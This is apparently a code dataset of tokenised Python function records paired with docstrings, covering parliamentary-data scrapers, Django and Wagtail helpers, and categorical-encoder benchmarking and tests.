{"signature": "def fetch_official_missions(data_dir, start_date, end_date):", "body": "official_missions = OfficialMissionsDataset()<EOL>df = official_missions.fetch(start_date, end_date)<EOL>save_to_csv(df, data_dir, \"<STR_LIT>\")<EOL>return df<EOL>", "docstring": ":param data_dir: (str) directory in which the output file will be saved\n:param start_date: (datetime) first date of the range to be scraped\n:param end_date: (datetime) last date of the range to be scraped", "id": "f3895:m0"}
{"signature": "def fetch(self, start_date, end_date):", "body": "records = []<EOL>for two_months_range in self._generate_ranges(start_date, end_date):<EOL><INDENT>log.debug(two_months_range)<EOL>for record in self._fetch_missions_for_range(two_months_range[<NUM_LIT:0>], two_months_range[<NUM_LIT:1>]):<EOL><INDENT>records.append(record)<EOL><DEDENT><DEDENT>df = pd.DataFrame(records, columns=[<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT:start>',<EOL>'<STR_LIT:end>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>'<EOL>])<EOL>translate_column(df, '<STR_LIT>', {<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>'<EOL>})<EOL>translate_column(df, '<STR_LIT>', {<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>'<EOL>})<EOL>return df.drop_duplicates()<EOL>", "docstring": "Fetches official missions within the given date range", "id": "f3895:c0:m0"}
{"signature": "@staticmethod<EOL><INDENT>def _generate_ranges(start_date, end_date):<DEDENT>", "body": "range_start = start_date<EOL>while range_start < end_date:<EOL><INDENT>range_end = range_start + timedelta(days=<NUM_LIT>)<EOL>yield (<EOL>range_start.strftime(\"<STR_LIT>\"),<EOL>range_end.strftime(\"<STR_LIT>\")<EOL>)<EOL>range_start += timedelta(days=<NUM_LIT:30>)<EOL><DEDENT>", "docstring": "Generate a list of 2 month ranges for the range requested with an\nintersection between months. This is necessary because we can't search\nfor ranges longer than 3 months and the period searched has to encompass\nthe whole period of the mission.", "id": "f3895:c0:m1"}
{"signature": "def fetch_presences(data_dir, deputies, date_start, date_end):", "body": "presences = PresencesDataset()<EOL>df = presences.fetch(deputies, date_start, date_end)<EOL>save_to_csv(df, data_dir, \"<STR_LIT>\")<EOL>log.info(\"<STR_LIT>\", len(df))<EOL>log.info(\"<STR_LIT>\", len(df[df.presence == '<STR_LIT>']))<EOL>log.info(\"<STR_LIT>\", len(df[df.presence == '<STR_LIT>']))<EOL>return df<EOL>", "docstring": ":param data_dir: (str) directory in which the output file will be saved\n:param deputies: (pandas.DataFrame) a dataframe with deputies data\n:param date_start: (str) a date in the format dd/mm/yyyy\n:param date_end: (str) a date in the format dd/mm/yyyy", "id": "f3897:m0"}
{"signature": "def fetch(self, deputies, start_date, end_date):", "body": "log.debug(\"<STR_LIT>\".format(len(deputies), start_date, end_date))<EOL>records = self._all_presences(deputies, start_date, end_date)<EOL>df = pd.DataFrame(records, columns=(<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT:state>',<EOL>'<STR_LIT:date>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>'<EOL>))<EOL>return self._translate(df)<EOL>", "docstring": ":param deputies: (pandas.DataFrame) a dataframe with deputies data\n:param date_start: (str) date in the format dd/mm/yyyy\n:param date_end: (str) date in the format dd/mm/yyyy", "id": "f3897:c0:m1"}
{"signature": "def xml_extract_text(node, xpath):", "body": "text = node.find(xpath).text<EOL>if text is not None:<EOL><INDENT>text = text.strip()<EOL><DEDENT>return text<EOL>", "docstring": ":param node: the node to be queried\n:param xpath: the path to fetch the child node that has the wanted text", "id": "f3902:m0"}
{"signature": "def xml_extract_date(node, xpath, date_format='<STR_LIT>'):", "body": "return datetime.strptime(xml_extract_text(node, xpath), date_format)<EOL>", "docstring": ":param node: the node to be queried\n:param xpath: the path to fetch the child node that has the wanted date", "id": "f3902:m1"}
{"signature": "def xml_extract_datetime(node, xpath, datetime_format='<STR_LIT>'):", "body": "return datetime.strptime(xml_extract_text(node, xpath), datetime_format)<EOL>", "docstring": ":param node: the node to be queried\n:param xpath: the path to fetch the child node that has the wanted datetime", "id": "f3902:m2"}
{"signature": "def translate_column(df, column, translations):", "body": "df[column] = df[column].astype('<STR_LIT>')<EOL>translations = [translations[cat]<EOL>for cat in df[column].cat.categories]<EOL>df[column].cat.rename_categories(translations, inplace=True)<EOL>", "docstring": ":param df: (pandas.Dataframe) the dataframe to be translated\n:param column: (str) the column to be translated\n:param translations: (dict) a dictionary of the strings to be categorized and translated", "id": "f3902:m3"}
{"signature": "def render(self, obj):", "body": "self.obj = obj<EOL>attrs = '<STR_LIT:U+0020>'.join([<EOL>'<STR_LIT>' % (attr_name, attr.resolve(obj))<EOL>if isinstance(attr, Accessor)<EOL>else '<STR_LIT>' % (attr_name, attr)<EOL>for attr_name, attr in self.attrs.items()<EOL>])<EOL>return mark_safe(u'<STR_LIT>' % (attrs, self.text))<EOL>", "docstring": "Render link as HTML output tag <a>.", "id": "f3914:c1:m4"}
{"signature": "def get_column_span(self, index):", "body": "return str(self.get_days_span(index))<EOL>", "docstring": "Get `colspan` value for <th> tag.\nIt will render as <th colspan=\"VALUE\"><th>", "id": "f3915:c5:m3"}
{"signature": "def get_days_span(self, month_index):", "body": "is_first_month = month_index == <NUM_LIT:0><EOL>is_last_month = month_index == self.__len__() - <NUM_LIT:1><EOL>y = int(self.start_date.year + (self.start_date.month + month_index) / <NUM_LIT>)<EOL>m = int((self.start_date.month + month_index) % <NUM_LIT:12> or <NUM_LIT:12>)<EOL>total = calendar.monthrange(y, m)[<NUM_LIT:1>]<EOL>if is_first_month and is_last_month:<EOL><INDENT>return (self.end_date - self.start_date).days + <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>if is_first_month:<EOL><INDENT>return total - self.start_date.day + <NUM_LIT:1><EOL><DEDENT>elif is_last_month:<EOL><INDENT>return self.end_date.day<EOL><DEDENT>else:<EOL><INDENT>return total<EOL><DEDENT><DEDENT>", "docstring": "Calculate how many days the month spans.", "id": "f3915:c5:m4"}
{"signature": "def render_to_json_response(self, context, **response_kwargs):", "body": "return HttpResponse(<EOL>self.convert_context_to_json(context),<EOL>content_type='<STR_LIT:application/json>',<EOL>**response_kwargs<EOL>)<EOL>", "docstring": "Returns a JSON response, transforming 'context' to make the payload.", "id": "f3923:c0:m0"}
{"signature": "def convert_context_to_json(self, context):", "body": "return json.dumps(context, cls=DjangoJSONEncoder)<EOL>", "docstring": "Convert the context dictionary into a JSON object.", "id": "f3923:c0:m1"}
{"signature": "def get_context_data(self, **kwargs):", "body": "sEcho = self.query_data[\"<STR_LIT>\"]<EOL>context = super(BaseListView, self).get_context_data(**kwargs)<EOL>queryset = context[\"<STR_LIT>\"]<EOL>if queryset is not None:<EOL><INDENT>total_length = self.get_queryset_length(queryset)<EOL>queryset = self.filter_queryset(queryset)<EOL>display_length = self.get_queryset_length(queryset)<EOL>queryset = self.sort_queryset(queryset)<EOL>queryset = self.paging_queryset(queryset)<EOL>values_list = self.convert_queryset_to_values_list(queryset)<EOL>context = {<EOL>\"<STR_LIT>\": sEcho,<EOL>\"<STR_LIT>\": total_length,<EOL>\"<STR_LIT>\": display_length,<EOL>\"<STR_LIT>\": values_list,<EOL>}<EOL><DEDENT>else:<EOL><INDENT>context = {<EOL>\"<STR_LIT>\": sEcho,<EOL>\"<STR_LIT>\": <NUM_LIT:0>,<EOL>\"<STR_LIT>\": <NUM_LIT:0>,<EOL>\"<STR_LIT>\": [],<EOL>}<EOL><DEDENT>return context<EOL>", "docstring": "Get context data for datatable server-side response.\nSee http://www.datatables.net/usage/server-side", "id": "f3923:c1:m7"}
{"signature": "@property<EOL><INDENT>def header_rows(self):<DEDENT>", "body": "<EOL>header_rows = []<EOL>headers = [col.header for col in self.columns]<EOL>for header in headers:<EOL><INDENT>if len(header_rows) <= header.row_order:<EOL><INDENT>header_rows.append([])<EOL><DEDENT>header_rows[header.row_order].append(header)<EOL><DEDENT>return header_rows<EOL>", "docstring": "[ [header1], [header3, header4] ]", "id": "f3925:c0:m2"}
{"signature": "def resolve(self, context, quiet=True):", "body": "try:<EOL><INDENT>obj = context<EOL>for level in self.levels:<EOL><INDENT>if isinstance(obj, dict):<EOL><INDENT>obj = obj[level]<EOL><DEDENT>elif isinstance(obj, list) or isinstance(obj, tuple):<EOL><INDENT>obj = obj[int(level)]<EOL><DEDENT>else:<EOL><INDENT>if callable(getattr(obj, level)):<EOL><INDENT>try:<EOL><INDENT>obj = getattr(obj, level)()<EOL><DEDENT>except KeyError:<EOL><INDENT>obj = getattr(obj, level)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>display = '<STR_LIT>' % level<EOL>obj = getattr(obj, display)() if hasattr(obj, display) else getattr(obj, level)<EOL><DEDENT><DEDENT>if not obj:<EOL><INDENT>break<EOL><DEDENT><DEDENT>return obj<EOL><DEDENT>except Exception as e:<EOL><INDENT>if quiet:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>raise e<EOL><DEDENT><DEDENT>", "docstring": "Return an object described by the accessor by traversing the attributes\nof context.", "id": "f3929:c0:m0"}
{"signature": "def get_meta_image_url(request, image):", "body": "rendition = image.get_rendition(filter='<STR_LIT>')<EOL>return request.build_absolute_uri(rendition.url)<EOL>", "docstring": "Resize an image for metadata tags, and return an absolute URL to it.", "id": "f3952:m0"}
{"signature": "def get_meta_url(self):", "body": "raise NotImplementedError()<EOL>", "docstring": "The full URL to this object, including protocol and domain.", "id": "f3960:c0:m0"}
{"signature": "def get_meta_image(self):", "body": "return None<EOL>", "docstring": "Get the image to use for this object.\nCan be None if there is no relevant image.", "id": "f3960:c0:m3"}
{"signature": "def get_meta_twitter_card_type(self):", "body": "if self.get_meta_image() is not None:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>", "docstring": "Get the Twitter card type for this object.\nSee https://dev.twitter.com/cards/types.\nDefaults to 'summary_large_image' if the object has an image,\notherwise 'summary'.", "id": "f3960:c0:m4"}
{"signature": "def train_encoder(X, y, fold_count, encoder):", "body": "kf = StratifiedKFold(n_splits=fold_count, shuffle=True, random_state=<NUM_LIT>)<EOL>encoder = deepcopy(encoder)  <EOL>imputer = SimpleImputer(strategy='<STR_LIT>')<EOL>scaler = StandardScaler()<EOL>folds = []<EOL>fit_encoder_time = <NUM_LIT:0><EOL>score_encoder_time = <NUM_LIT:0><EOL>for train_index, test_index in kf.split(X, y):<EOL><INDENT>X_train, X_test = X.iloc[train_index, :].reset_index(drop=True), X.iloc[test_index, :].reset_index(drop=True)<EOL>y_train, y_test = y[train_index].reset_index(drop=True), y[test_index].reset_index(drop=True)<EOL>start_time = time.time()<EOL>X_train = encoder.fit_transform(X_train, y_train)<EOL>fit_encoder_time += time.time() - start_time<EOL>X_train = imputer.fit_transform(X_train)<EOL>X_train = scaler.fit_transform(X_train)<EOL>start_time = time.time()<EOL>X_test = encoder.transform(X_test)<EOL>score_encoder_time += time.time() - start_time<EOL>X_test = imputer.transform(X_test)<EOL>X_test = scaler.transform(X_test)<EOL>folds.append([X_train, y_train, X_test, y_test])<EOL><DEDENT>return folds, fit_encoder_time/fold_count, score_encoder_time/fold_count<EOL>", "docstring": "Defines folds and performs the data preprocessing (categorical encoding, NaN imputation, normalization)\nReturns a list with {X_train, y_train, X_test, y_test}, average fit_encoder_time and average score_encoder_time\n\nNote: We normalize all features (not only numerical features) because otherwise SVM would\n    get stuck for hours on ordinal encoded cylinder.bands.arff dataset due to presence of\n    unproportionally high values.\n\nNote: The fold count is variable because there are datasets, which have less than 10 samples in the minority class.\n\nNote: We do not use pipelines because of:\n    https://github.com/scikit-learn/scikit-learn/issues/11832", "id": "f3962:m0"}
{"signature": "def train_model(folds, model):", "body": "scores = []<EOL>fit_model_time = <NUM_LIT:0>      <EOL>score_model_time = <NUM_LIT:0>    <EOL>for X_train, y_train, X_test, y_test in folds:<EOL><INDENT>start_time = time.time()<EOL>with ignore_warnings(category=ConvergenceWarning):  <EOL><INDENT>model.fit(X_train, y_train)<EOL><DEDENT>fit_model_time += time.time() - start_time<EOL>prediction_train_proba = model.predict_proba(X_train)[:, <NUM_LIT:1>]<EOL>prediction_train = (prediction_train_proba >= <NUM_LIT:0.5>).astype('<STR_LIT>')<EOL>start_time = time.time()<EOL>prediction_test_proba = model.predict_proba(X_test)[:, <NUM_LIT:1>]<EOL>score_model_time += time.time() - start_time<EOL>prediction_test = (prediction_test_proba >= <NUM_LIT:0.5>).astype('<STR_LIT>')<EOL>with warnings.catch_warnings():<EOL><INDENT>warnings.simplefilter(\"<STR_LIT:ignore>\")<EOL>scores.append([<EOL>sklearn.metrics.matthews_corrcoef(y_test, prediction_test),<EOL>sklearn.metrics.matthews_corrcoef(y_train, prediction_train),<EOL>sklearn.metrics.roc_auc_score(y_test, prediction_test_proba),<EOL>sklearn.metrics.roc_auc_score(y_train, prediction_train_proba),<EOL>sklearn.metrics.brier_score_loss(y_test, prediction_test_proba),<EOL>sklearn.metrics.brier_score_loss(y_train, prediction_train_proba)<EOL>])<EOL><DEDENT><DEDENT>return np.mean(scores, axis=<NUM_LIT:0>), fit_model_time/len(folds), score_model_time/len(folds)<EOL>", "docstring": "Evaluation with:\n  Matthews correlation coefficient: represents thresholding measures\n  AUC: represents ranking measures\n  Brier score: represents calibration measures", "id": "f3962:m1"}
{"signature": "def score_models(clf, X, y, encoder, runs=<NUM_LIT:1>):", "body": "scores = []<EOL>X_test = None<EOL>for _ in range(runs):<EOL><INDENT>X_test = encoder().fit_transform(X, y)<EOL>X_test = StandardScaler().fit_transform(X_test)<EOL>scores.append(cross_validate(clf, X_test, y, n_jobs=<NUM_LIT:1>, cv=<NUM_LIT:5>)['<STR_LIT>'])<EOL>gc.collect()<EOL><DEDENT>scores = [y for z in [x for x in scores] for y in z]<EOL>return float(np.mean(scores)), float(np.std(scores)), scores, X_test.shape[<NUM_LIT:1>]<EOL>", "docstring": "Takes in a classifier that supports multiclass classification, and X and a y, and returns a cross validation score.", "id": "f3967:m0"}
{"signature": "def main(loader, name):", "body": "scores = []<EOL>raw_scores_ds = {}<EOL>X, y, mapping = loader()<EOL>clf = linear_model.LogisticRegression(solver='<STR_LIT>', multi_class='<STR_LIT>', max_iter=<NUM_LIT:200>, random_state=<NUM_LIT:0>)<EOL>encoders = (set(category_encoders.__all__) - {'<STR_LIT>'})  <EOL>for encoder_name in encoders:<EOL><INDENT>encoder = getattr(category_encoders, encoder_name)<EOL>start_time = time.time()<EOL>score, stds, raw_scores, dim = score_models(clf, X, y, encoder)<EOL>scores.append([encoder_name, name, dim, score, stds, time.time() - start_time])<EOL>raw_scores_ds[encoder_name] = raw_scores<EOL>gc.collect()<EOL><DEDENT>results = pd.DataFrame(scores, columns=['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'])<EOL>raw = pd.DataFrame.from_dict(raw_scores_ds)<EOL>ax = raw.plot(kind='<STR_LIT>', return_type='<STR_LIT>')<EOL>plt.title('<STR_LIT>' % (name,))<EOL>plt.ylabel('<STR_LIT>')<EOL>for tick in ax.get_xticklabels():<EOL><INDENT>tick.set_rotation(<NUM_LIT>)<EOL><DEDENT>plt.grid()<EOL>plt.tight_layout()<EOL>plt.show()<EOL>return results, raw<EOL>", "docstring": "Here we iterate through the datasets and score them with a classifier using different encodings.", "id": "f3967:m1"}
{"signature": "def get_cars_data():", "body": "df = pd.read_csv('<STR_LIT>')<EOL>X = df.reindex(columns=[x for x in df.columns.values if x != '<STR_LIT:class>'])<EOL>y = df.reindex(columns=['<STR_LIT:class>'])<EOL>y = preprocessing.LabelEncoder().fit_transform(y.values.reshape(-<NUM_LIT:1>, ))<EOL>mapping = [<EOL>{'<STR_LIT>': '<STR_LIT>', '<STR_LIT>': [('<STR_LIT>', <NUM_LIT:0>), ('<STR_LIT>', <NUM_LIT:1>), ('<STR_LIT>', <NUM_LIT:2>), ('<STR_LIT>', <NUM_LIT:3>)]},<EOL>{'<STR_LIT>': '<STR_LIT>', '<STR_LIT>': [('<STR_LIT>', <NUM_LIT:0>), ('<STR_LIT>', <NUM_LIT:1>), ('<STR_LIT>', <NUM_LIT:2>), ('<STR_LIT>', <NUM_LIT:3>)]},<EOL>{'<STR_LIT>': '<STR_LIT>', '<STR_LIT>': [('<STR_LIT:2>', <NUM_LIT:0>), ('<STR_LIT:3>', <NUM_LIT:1>), ('<STR_LIT:4>', <NUM_LIT:2>), ('<STR_LIT>', <NUM_LIT:3>)]},<EOL>{'<STR_LIT>': '<STR_LIT>', '<STR_LIT>': [('<STR_LIT:2>', <NUM_LIT:0>), ('<STR_LIT:4>', <NUM_LIT:1>), ('<STR_LIT>', <NUM_LIT:2>)]},<EOL>{'<STR_LIT>': '<STR_LIT>', '<STR_LIT>': [('<STR_LIT>', <NUM_LIT:0>), ('<STR_LIT>', <NUM_LIT:1>), ('<STR_LIT>', <NUM_LIT:2>)]},<EOL>{'<STR_LIT>': '<STR_LIT>', '<STR_LIT>': [('<STR_LIT>', <NUM_LIT:0>), ('<STR_LIT>', <NUM_LIT:1>), ('<STR_LIT>', <NUM_LIT:2>)]},<EOL>]<EOL>return X, y, mapping<EOL>", "docstring": "Load the cars dataset, split it into X and y, and then call the label encoder to get an integer y column.\n\n:return:", "id": "f3969:m0"}
{"signature": "def get_mushroom_data():", "body": "df = pd.read_csv('<STR_LIT>')<EOL>X = df.reindex(columns=[x for x in df.columns.values if x != '<STR_LIT:class>'])<EOL>y = df.reindex(columns=['<STR_LIT:class>'])<EOL>y = preprocessing.LabelEncoder().fit_transform(y.values.reshape(-<NUM_LIT:1>, ))<EOL>mapping = None<EOL>return X, y, mapping<EOL>", "docstring": "Load the mushroom dataset, split it into X and y, and then call the label encoder to get an integer y column.\n\n:return:", "id": "f3969:m1"}
{"signature": "def get_splice_data():", "body": "df = pd.read_csv('<STR_LIT>')<EOL>X = df.reindex(columns=[x for x in df.columns.values if x != '<STR_LIT:class>'])<EOL>X['<STR_LIT>'] = X['<STR_LIT>'].map(lambda x: list(str(x).strip()))<EOL>for idx in range(<NUM_LIT>):<EOL><INDENT>X['<STR_LIT>' % (idx, )] = X['<STR_LIT>'].map(lambda x: x[idx])<EOL><DEDENT>del X['<STR_LIT>']<EOL>y = df.reindex(columns=['<STR_LIT:class>'])<EOL>y = preprocessing.LabelEncoder().fit_transform(y.values.reshape(-<NUM_LIT:1>, ))<EOL>mapping = None<EOL>return X, y, mapping<EOL>", "docstring": "Load the mushroom dataset, split it into X and y, and then call the label encoder to get an integer y column.\n\n:return:", "id": "f3969:m2"}
{"signature": "def create_array(n_rows=<NUM_LIT:1000>, extras=False, has_none=True):", "body": "ds = [[<EOL>random.random(),<EOL>random.random(),<EOL>random.choice(['<STR_LIT:A>', '<STR_LIT:B>', '<STR_LIT:C>']),<EOL>random.choice(['<STR_LIT:A>', '<STR_LIT:B>', '<STR_LIT:C>', '<STR_LIT:D>']) if extras else random.choice(['<STR_LIT:A>', '<STR_LIT:B>', '<STR_LIT:C>']),<EOL>random.choice(['<STR_LIT:A>', '<STR_LIT:B>', '<STR_LIT:C>', None, np.nan]) if has_none else random.choice(['<STR_LIT:A>', '<STR_LIT:B>', '<STR_LIT:C>']),<EOL>random.choice(['<STR_LIT:A>'])<EOL>] for _ in range(n_rows)]<EOL>return np.array(ds)<EOL>", "docstring": "Creates a numpy dataset with some categorical variables.", "id": "f3981:m1"}
{"signature": "def create_dataset(n_rows=<NUM_LIT:1000>, extras=False, has_none=True):", "body": "random.seed(<NUM_LIT>)<EOL>ds = [[<EOL>random.random(),                                                                        <EOL>random.choice([float('<STR_LIT>'), float('<STR_LIT>'), float('<STR_LIT>'), -<NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:1>, -<NUM_LIT:1>, math.pi]),      <EOL>row,                                                                                    <EOL>str(row),                                                                               <EOL>random.choice(['<STR_LIT:A>', '<STR_LIT:B>']) if extras else '<STR_LIT:A>',                                           <EOL>random.choice(['<STR_LIT:A>', '<STR_LIT>', '<STR_LIT>']),                                                   <EOL>random.choice(['<STR_LIT:A>', '<STR_LIT:B>', '<STR_LIT:C>', None]) if has_none else random.choice(['<STR_LIT:A>', '<STR_LIT:B>', '<STR_LIT:C>']),   <EOL>random.choice(['<STR_LIT:A>', '<STR_LIT:B>', '<STR_LIT:C>', '<STR_LIT:D>']) if extras else random.choice(['<STR_LIT:A>', '<STR_LIT:B>', '<STR_LIT:C>']),      <EOL>random.choice([<NUM_LIT:12>, <NUM_LIT>, -<NUM_LIT:32>]),                                                           <EOL>random.choice(['<STR_LIT:A>', '<STR_LIT:B>', '<STR_LIT:C>']),                                                         <EOL>random.choice(['<STR_LIT:A>', '<STR_LIT:B>', '<STR_LIT:C>', np.nan])                                                  <EOL>] for row in range(n_rows)]<EOL>df = pd.DataFrame(ds, columns=['<STR_LIT:float>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT:none>', '<STR_LIT>', <NUM_LIT>, '<STR_LIT>', '<STR_LIT>'])<EOL>df['<STR_LIT>'] = pd.Categorical(df['<STR_LIT>'], categories=['<STR_LIT:A>', '<STR_LIT:B>', '<STR_LIT:C>'])<EOL>df['<STR_LIT>'] = pd.Categorical(df['<STR_LIT>'], categories=['<STR_LIT:A>', '<STR_LIT:B>', '<STR_LIT:C>'])<EOL>return df<EOL>", "docstring": "Creates a dataset with some categorical variables.", "id": "f3981:m2"}
{"signature": "def verify_inverse_transform(x, x_inv):", "body": "assert x.equals(x_inv)<EOL>", "docstring": "Verify x is equal to x_inv. The test returns true for NaN.equals(NaN) as it should.", "id": "f3981:m3"}
{"signature": "def deep_round(A, ndigits=<NUM_LIT:5>):", "body": "return [[round(val, ndigits) for val in sublst] for sublst in A]<EOL>", "docstring": "Rounds numbers in a list of lists. Useful for approximate equality testing.", "id": "f3981:m4"}
{"signature": "def fit(self, X, y=None, **kwargs):", "body": "<EOL>X = util.convert_input(X)<EOL>self._dim = X.shape[<NUM_LIT:1>]<EOL>if self.cols is None:<EOL><INDENT>self.cols = util.get_obj_cols(X)<EOL><DEDENT>else:<EOL><INDENT>self.cols = util.convert_cols_to_list(self.cols)<EOL><DEDENT>if self.handle_missing == '<STR_LIT:error>':<EOL><INDENT>if X[self.cols].isnull().any().bool():<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT><DEDENT>_, categories = self.ordinal_encoding(<EOL>X,<EOL>mapping=self.mapping,<EOL>cols=self.cols,<EOL>handle_unknown=self.handle_unknown,<EOL>handle_missing=self.handle_missing<EOL>)<EOL>self.mapping = categories<EOL>X_temp = self.transform(X, override_return_df=True)<EOL>self.feature_names = X_temp.columns.tolist()<EOL>if self.drop_invariant:<EOL><INDENT>self.drop_cols = []<EOL>generated_cols = util.get_generated_cols(X, X_temp, self.cols)<EOL>self.drop_cols = [x for x in generated_cols if X_temp[x].var() <= <NUM_LIT>]<EOL>try:<EOL><INDENT>[self.feature_names.remove(x) for x in self.drop_cols]<EOL><DEDENT>except KeyError as e:<EOL><INDENT>if self.verbose > <NUM_LIT:0>:<EOL><INDENT>print(\"<STR_LIT>\"<EOL>\"<STR_LIT>\".format(e))<EOL><DEDENT><DEDENT><DEDENT>return self<EOL>", "docstring": "Fit encoder according to X and y.\n\n        Parameters\n        ----------\n\n        X : array-like, shape = [n_samples, n_features]\n            Training vectors, where n_samples is the number of samples\n            and n_features is the number of features.\n        y : array-like, shape = [n_samples]\n            Target values.\n\n        Returns\n        -------\n\n        self : encoder\n            Returns self.", "id": "f3990:c0:m2"}
{"signature": "def transform(self, X, override_return_df=False):", "body": "if self.handle_missing == '<STR_LIT:error>':<EOL><INDENT>if X[self.cols].isnull().any().bool():<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT><DEDENT>if self._dim is None:<EOL><INDENT>raise ValueError(<EOL>'<STR_LIT>')<EOL><DEDENT>X = util.convert_input(X)<EOL>if X.shape[<NUM_LIT:1>] != self._dim:<EOL><INDENT>raise ValueError('<STR_LIT>' % (X.shape[<NUM_LIT:1>], self._dim,))<EOL><DEDENT>if not self.cols:<EOL><INDENT>return X if self.return_df else X.values<EOL><DEDENT>X, _ = self.ordinal_encoding(<EOL>X,<EOL>mapping=self.mapping,<EOL>cols=self.cols,<EOL>handle_unknown=self.handle_unknown,<EOL>handle_missing=self.handle_missing<EOL>)<EOL>if self.drop_invariant:<EOL><INDENT>for col in self.drop_cols:<EOL><INDENT>X.drop(col, <NUM_LIT:1>, inplace=True)<EOL><DEDENT><DEDENT>if self.return_df or override_return_df:<EOL><INDENT>return X<EOL><DEDENT>else:<EOL><INDENT>return X.values<EOL><DEDENT>", "docstring": "Perform the transformation to new categorical data.\n\n        Will use the mapping (if available) and the column list (if available, otherwise every column) to encode the\n        data ordinarily.\n\n        Parameters\n        ----------\n\n        X : array-like, shape = [n_samples, n_features]\n\n        Returns\n        -------\n\n        p : array, shape = [n_samples, n_numeric + N]\n            Transformed values with encoding applied.", "id": "f3990:c0:m3"}
{"signature": "def inverse_transform(self, X_in):", "body": "X = X_in.copy(deep=True)<EOL>X = util.convert_input(X)<EOL>if self._dim is None:<EOL><INDENT>raise ValueError(<EOL>'<STR_LIT>')<EOL><DEDENT>if X.shape[<NUM_LIT:1>] != self._dim:<EOL><INDENT>if self.drop_invariant:<EOL><INDENT>raise ValueError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % (X.shape[<NUM_LIT:1>],))<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>' % (X.shape[<NUM_LIT:1>], self._dim,))<EOL><DEDENT><DEDENT>if not self.cols:<EOL><INDENT>return X if self.return_df else X.values<EOL><DEDENT>if self.handle_unknown == '<STR_LIT:value>':<EOL><INDENT>for col in self.cols:<EOL><INDENT>if any(X[col] == -<NUM_LIT:1>):<EOL><INDENT>warnings.warn(\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % (col,))<EOL><DEDENT><DEDENT><DEDENT>if self.handle_unknown == '<STR_LIT>' and self.handle_missing == '<STR_LIT>':<EOL><INDENT>for col in self.cols:<EOL><INDENT>if X[col].isnull().any():<EOL><INDENT>warnings.warn(\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % (col,))<EOL><DEDENT><DEDENT><DEDENT>for switch in self.mapping:<EOL><INDENT>column_mapping = switch.get('<STR_LIT>')<EOL>inverse = pd.Series(data=column_mapping.index, index=column_mapping.get_values())<EOL>X[switch.get('<STR_LIT>')] = X[switch.get('<STR_LIT>')].map(inverse).astype(switch.get('<STR_LIT>'))<EOL><DEDENT>return X if self.return_df else X.values<EOL>", "docstring": "Perform the inverse transformation to encoded data. Will attempt best case reconstruction, which means\nit will return nan for handle_missing and handle_unknown settings that break the bijection. We issue\nwarnings when some of those cases occur.\n\nParameters\n----------\nX_in : array-like, shape = [n_samples, n_features]\n\nReturns\n-------\np: array, the same size of X_in", "id": "f3990:c0:m4"}
{"signature": "@staticmethod<EOL><INDENT>def ordinal_encoding(X_in, mapping=None, cols=None, handle_unknown='<STR_LIT:value>', handle_missing='<STR_LIT:value>'):<DEDENT>", "body": "return_nan_series = pd.Series(data=[np.nan], index=[-<NUM_LIT:2>])<EOL>X = X_in.copy(deep=True)<EOL>if cols is None:<EOL><INDENT>cols = X.columns.values<EOL><DEDENT>if mapping is not None:<EOL><INDENT>mapping_out = mapping<EOL>for switch in mapping:<EOL><INDENT>column = switch.get('<STR_LIT>')<EOL>X[column] = X[column].map(switch['<STR_LIT>'])<EOL>try:<EOL><INDENT>X[column] = X[column].astype(int)<EOL><DEDENT>except ValueError as e:<EOL><INDENT>X[column] = X[column].astype(float)<EOL><DEDENT>if handle_unknown == '<STR_LIT:value>':<EOL><INDENT>X[column].fillna(-<NUM_LIT:1>, inplace=True)<EOL><DEDENT>elif handle_unknown == '<STR_LIT:error>':<EOL><INDENT>missing = X[column].isnull()<EOL>if any(missing):<EOL><INDENT>raise ValueError('<STR_LIT>' % column)<EOL><DEDENT><DEDENT>if handle_missing == '<STR_LIT>':<EOL><INDENT>X[column] = X[column].map(return_nan_series).where(X[column] == -<NUM_LIT:2>, X[column])<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>mapping_out = []<EOL>for col in cols:<EOL><INDENT>nan_identity = np.nan<EOL>if util.is_category(X[col].dtype):<EOL><INDENT>categories = X[col].cat.categories<EOL><DEDENT>else:<EOL><INDENT>categories = X[col].unique()<EOL><DEDENT>index = pd.Series(categories).fillna(nan_identity).unique()<EOL>data = pd.Series(index=index, data=range(<NUM_LIT:1>, len(index) + <NUM_LIT:1>))<EOL>if handle_missing == '<STR_LIT:value>' and ~data.index.isnull().any():<EOL><INDENT>data.loc[nan_identity] = -<NUM_LIT:2><EOL><DEDENT>elif handle_missing == '<STR_LIT>':<EOL><INDENT>data.loc[nan_identity] = -<NUM_LIT:2><EOL><DEDENT>mapping_out.append({'<STR_LIT>': col, '<STR_LIT>': data, '<STR_LIT>': X[col].dtype}, )<EOL><DEDENT><DEDENT>return X, mapping_out<EOL>", "docstring": "Ordinal encoding uses a single column of integers to represent the classes. An optional mapping dict can be passed\nin, in this case we use the knowledge that there is some true order to the classes themselves. Otherwise, the classes\nare assumed to have no true order and integers are selected at random.", "id": "f3990:c0:m5"}
